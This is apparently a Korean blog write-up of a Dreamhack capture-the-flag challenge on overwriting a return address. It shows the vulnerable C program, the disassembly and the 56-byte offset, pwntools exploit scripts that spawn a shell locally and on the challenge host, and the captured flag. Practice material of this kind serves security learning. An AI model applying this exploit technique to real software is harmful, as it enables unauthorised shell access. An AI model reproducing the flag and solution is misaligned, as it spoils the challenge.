[dreamhack][writeup] System-stage5: Return Address Overwrite

mj·2023년 4월 1일
0
post-thumbnail

문제 파일 확인

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

main 함수에서는 0x28 크기의 버퍼에 scanf() 함수를 통해 입력값을 받고 있다. 해당 부분에서 스택 버퍼 오버플로우 취약점이 발생하는 것을 확인할 수 있다.

main 함수 위에는 /bin/sh 명령을 수행하는 get_shell() 함수가 있다.

시나리오

스택 버퍼 오버플로우 취약점을 이용하여 반환 주소의 값을 get_shell() 함수의 주소로 덮어씌우면 된다.

필요한 정보 확인

  • 반환 주소를 덮어씌우기 위해서는 buf 변수의 주소와 return address 의 주소의 바이트 수를 알아야 한다.

필요한 정보 확인

   0x00000000004006e8 <+0>:     push   rbp
   0x00000000004006e9 <+1>:     mov    rbp,rsp
   0x00000000004006ec <+4>:     sub    rsp,0x30
   0x00000000004006f0 <+8>:     mov    eax,0x0
   0x00000000004006f5 <+13>:    call   0x400667 <init>
   0x00000000004006fa <+18>:    lea    rdi,[rip+0xbb]        # 0x4007bc
   0x0000000000400701 <+25>:    mov    eax,0x0
   0x0000000000400706 <+30>:    call   0x400540 <printf@plt>
   0x000000000040070b <+35>:    lea    rax,[rbp-0x30]
   0x000000000040070f <+39>:    mov    rsi,rax
   0x0000000000400712 <+42>:    lea    rdi,[rip+0xab]        # 0x4007c4
   0x0000000000400719 <+49>:    mov    eax,0x0
   0x000000000040071e <+54>:    call   0x400570 <__isoc99_scanf@plt>
   0x0000000000400723 <+59>:    mov    eax,0x0
   0x0000000000400728 <+64>:    leave
   0x0000000000400729 <+65>:    ret

main 함수를 disassemble 한 후 scanf 함수 부근을 보면 두번째 인자인 rsi 레지스터에 rbp-0x30 의 "주소" 를 저장하는 것을 볼 수 있다.

이를 봤을 때 buf 의 주소가 rbp-0x30 인 것을 알 수 있고, ret = rbp + 0x8 이므로 두 주소 사이의 바이트 차이는 0x38(56)bytes 이다.

페이로드 작성

로컬 페이로드

from pwn import *

p = process("./rao")
e = ELF("./rao")

get_shell = e.symbols["get_shell"]

payload = b''
payload += b"A"*56
payload += p64(get_shell)

p.recvuntil(b"Input:")
p.sendline(payload)
p.interactive()

로컬 공격

공격

접속 정보 확인

페이로드 수정

from pwn import *

#p = process("./rao")
p = remote("host3.dreamhack.games", 10301)
e = ELF("./rao")

get_shell = e.symbols["get_shell"]

payload = b''
payload += b"A"*56
payload += p64(get_shell)

p.recvuntil(b"Input:")
p.sendline(payload)
p.interactive()

공격

  • flag: DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}
profile
사는게 쉽지가 않네요

0개의 댓글